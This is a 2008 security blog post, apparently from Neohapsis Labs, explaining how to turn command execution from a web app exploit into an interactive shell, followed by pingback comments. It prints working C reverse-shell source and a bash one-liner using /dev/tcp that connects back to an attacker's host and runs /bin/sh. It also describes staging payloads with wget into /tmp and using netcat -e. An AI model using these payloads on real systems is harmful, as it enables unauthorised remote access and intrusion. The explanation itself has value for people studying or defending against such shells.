By: Cris Neckar
In the world of web app hacking undoubtedly the most annoying stage of exploitation is the purgatory between a working exploit and a working shell. It’s that place where your exploit works perfectly, you have gained the ability to execute commands, but you still don’t have a truly interactive shell. Anyone who does this type of thing with any regularity has developed a slew of tricks to get past this. The old standby is obviously netcat with the -e option, of course any administrator that leaves a copy of netcat with -e enabled lying around probably deserves to be hacked. To make things easier you probably have a chunk of code similar to the following that you wget into /tmp:
int main (int c, char **v) {
char *ex[4];
struct sockaddr_in s4;
int s;
s4.sin_family = AF_INET;
s4.sin_port = htons(v[2]);
s4.sin_addr.s_addr = inet_addr(v[1]);
s = socket(AF_INET, SOCK_STREAM, 0);
connect(s, (struct sockaddr_in *)&s4,sizeof(struct sockaddr_in));
dup2(s, 0);
dup2(s, 1);
dup2(s, 2);
ex[0]="/bin/sh";
ex[1]="sh";
ex[2]=NULL;
execve(ex[0],&ex[1],NULL);
}
Thats all well and good until we run into a system with no compiler, no wget, or some similarly funky condition. This also necessitates at least a minimal web server to grab from. So the question becomes how can we implement a similar connect back shell with no overhead.
Fortunately the bash developers have come to the rescue. Those of you who do a lot of shell scripting may have heard of the /dev/tcp and /dev/udp bashisms. These aren’t actual devices but instead filenames which are handled internally in bash.
From bash 3.2:
redir.c:
static STRING_INT_ALIST _redir_special_filenames[] = {
...
{ "/dev/tcp/*/*", RF_DEVTCP },
{ "/dev/udp/*/*", RF_DEVUDP },
...
case RF_DEVTCP:
case RF_DEVUDP:
...
fd = netopen (filename);
netopen.c:
netopen (path) char *path; {
...
np = (char *)xmalloc (strlen (path) + 1);
strcpy (np, path); <-- Opps, NULL ptr deref
s = np + 9;
t = strchr (s, '/');
...
*t++ = 0;
fd = _netopen (s, t, path[5]);
free (np);
This goes on to open a socket to the provided address and port making our format something like ‘/dev/tcp/hostname/port’.
So can this be used to implement a connect back shell? Lets break down the C code we have been using line by line.
First we open a file descriptor to a remote system on a given port. Great, thats exactly what /dev/tcp and /dev/udp do.
Next we copy that file descriptor to standard input, standard output and standard error. Fortunately bash has another useful built-in which can help us with this. The ‘exec’ command is generally used to replace the bash process with another (ie. sys_execve(), sounds interesting for later on). One of the other interesting things about ‘exec’ is that it also apply any redirects which are specified to the bash process itself. This means that we can effectively recreate dup2() using only bash built-ins by doing the following:
$ exec 0</dev/tcp/hostname/port # First we copy our connection over stdin
$ exec 1>&0 # Next we copy stdin to stdout
$ exec 2>&0 # And finally stdin to stderr
Now all we have left to do is execve() /bin/sh and ‘exec’ can also take care of that for us. So to bring this all together we get the following command:
$ exec /bin/sh 0</dev/tcp/hostname/port 1>&0 2>&0
We have effectively recreated our connect back shell code using a single command, but more importantly this command uses only bash built-ins and will work in the most locked down environment without the need for file uploads or a writable directory.
There is one caveat to all this. The /dev/tcp and /dev/udp redirects must be enabled when bash is compiled. Most Linux distros enable this feature by default but at least Debian is known to disable it.
April 17, 2008 at 6:10 pm |
[...] Go check it out – http://labs.neohapsis.com/2008/04/17/connect-back-shell-literally/ [...]
April 17, 2008 at 7:07 pm |
[...] is really cool… Neohapsis has a great blog post on how a one line bash shell command can create a reverse shell (via Infosec [...]
April 17, 2008 at 10:34 pm |
[...] Connect-Back Shell (Literally) « Neohapsis Labs Reverse shell in only bash, so long as your Linux kernel has /dev/tcp enabled (tags: shell) [...]
April 18, 2008 at 8:39 pm |
[...] the Box Far be it from us to talk about offense without a corresponding defensive post. Cris’ post yesterday got some attention from a few other blogs (here, here, and here for starters), but it wasn’t [...]
April 29, 2008 at 4:24 am |
[...] Murray and Cris Neckar have posted some interested tidbits ranging from technical topics such as Connect-back shells as well as the non-compliance issues for Web application [...]
August 16, 2008 at 6:51 pm |
This works on Red Hat Enterprise 5.
And last time I checked. Debian & Ubuntu still allow the “-e” option to netcat.
November 30, 2008 at 8:24 pm |
[...] Go check it out – http://labs.neohapsis.com/2008/04/17/connect-back-shell-literally/ [...]